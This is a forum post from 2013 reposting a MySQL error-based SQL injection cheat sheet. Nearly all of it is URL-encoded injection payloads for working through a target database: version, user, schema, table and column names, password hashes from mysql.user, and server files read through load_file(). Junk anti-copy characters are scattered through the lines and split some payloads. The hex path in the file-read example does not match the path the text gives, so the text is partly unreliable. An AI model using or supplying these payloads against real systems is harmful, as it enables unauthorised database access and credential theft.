本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 ' U6 n7 ]7 r$ c5 J. s3 S
v8 S+ A; ~. J% ^, w) F. s9 N8 z C9 o5 S0 a' z5 O
Mysql暴错注入参考(pdf),每天一贴。。。
( r0 u9 ^6 X, |2 q w" U7 j+ Y+ A
5 a" A3 e& {" X& |+ m3 l9 YMySql Error Based Injection Reference) n: _, C- [, I$ p+ s
[Mysql暴错注入参考]
/ j1 M2 N; \( l) U, aAuthornig0s1992
2 f" j) Q9 m+ v' ~, sBlog:http://pnig0s1992.blog.51cto.com/
1 U% w( x, U0 V$ e2 H; ^. [/ }: iTeAm:http://www.FreeBuf.com/
6 f) ?- N: Q0 T4 |Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
' p8 y1 ?3 [, y5 D$ i" Z! M小部分版本使用name_const()时会报错.可以用给出的Method.2测试
' ]+ N1 { N: M1 {- [' S查询版本:9 c" g: N. [0 `. V
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
2 _% a b( h# J) F" yjoin+(select+name_const(@@version,0))b)c)
/ @, x* u- A0 q0 N& c7 ~5 oMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
% F; ]4 F# |) v, @( S4 C- ^: Bup by a)b)! G |. A$ ]" s8 |8 ^
查询当前用户:. Z! H2 i! b! g; U) A. a( R0 K
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)5 i# B3 L- V: N! r. g- r
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
% i) u4 d. c# s5 ?! n2 b+ Gand(0)*2))x+from+information_schema.tables+group+by+x)a)7 b8 p. z+ z9 C. j$ e# h$ }$ M
查询当前数据库:8 e/ z1 e% N- y# W5 J3 j
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
* W6 D3 ?* }5 U" u/ u$ @. TMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo# e4 _( M9 g/ b8 s! s
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)0 A( ?. m6 D% h9 p6 [$ W* c
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+! @9 }' ^8 j* k. H0 d7 |$ T
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n, }6 e: |/ W; i9 M
顺序替换( a' `8 V# B( |, Y7 x
爆指定库数目:
3 K% ^& Y. n3 U+ P3 w* x4 D$ o+ Xand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
* L' P& X" @' @7 h: uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group9 y' z/ B7 Z! E p& {
+by+x)a)+and+1=1 0x6D7973716C=mysql
, r" c7 ~: v, G8 N8 G- e& `. I依次爆表:
' s% T* w2 V' n! ~and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t8 @) b/ K6 _; J% U. @% Z
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
" \8 N- [, b5 {' _! T, _, Mbles+group+by+x)a)+and+1=15 S+ T; I' z2 ~# w+ |9 N O# C
0x6D7973716C=Mysql 将n顺序替换
i* R/ [; J: Q7 o8 H4 T' l爆表内字段数目:' S' ~3 F/ @/ a* J
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
! Y) j6 N8 u( x& n b+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
8 |( Y- F8 i$ @0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1: C- `1 |& b7 O
依次爆字段:( c# M" f0 E8 V C
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
( P. ] J# h1 x7 ]; d7 a+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,11 C1 T, O. |* H8 t: v) Z
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换$ V& M9 s) M7 z; i# v
依次暴内容:
1 G! }" x. o/ cand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche& k7 u' B0 y% y& x/ H: X/ r
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
4 z* X& c8 K) x! V. p! {将n顺序替换5 B: C# L. ]: r
爆文件内容:
8 L% Y8 [( O* o" b+ i# j. Tand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
# P" E5 I0 f8 [7 B/ ~9 A, Hfrom+information_schema.tables+group+by+a)b) 5 D; e1 N# h# Q, c( |* P/ L
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
0 W! n! J) e8 i7 cThx for reading.
! x' s" |& U+ X5 ]
# h3 B8 V. N( G8 `/ R5 ]不要下载也可以, # S* W$ Z' Z' ?4 w
|